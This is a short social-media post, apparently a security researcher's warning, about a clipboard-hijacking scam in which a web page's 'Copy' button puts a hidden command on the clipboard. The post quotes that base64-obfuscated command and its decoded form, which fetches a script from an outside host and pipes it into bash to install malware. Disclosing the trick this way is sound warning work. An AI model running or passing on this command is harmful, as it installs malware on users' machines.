Untitled attachment

Notices where this attachment appears

1. Embed this notice
   Fedor Indutny (indutny@mean.engineer)'s status on Thursday, 23-Oct-2025 17:43:28 JST Fedor Indutny

   Oh, wow! This is new.

   As you probably already guessed when you click "Copy" - it doesn't copy the text that it shows. Instead it is:

   echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash

   which decodes to:

   curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash &

   and this in turn becomes a full-blown malware:

   https://pastebin.com/rUbcVAfC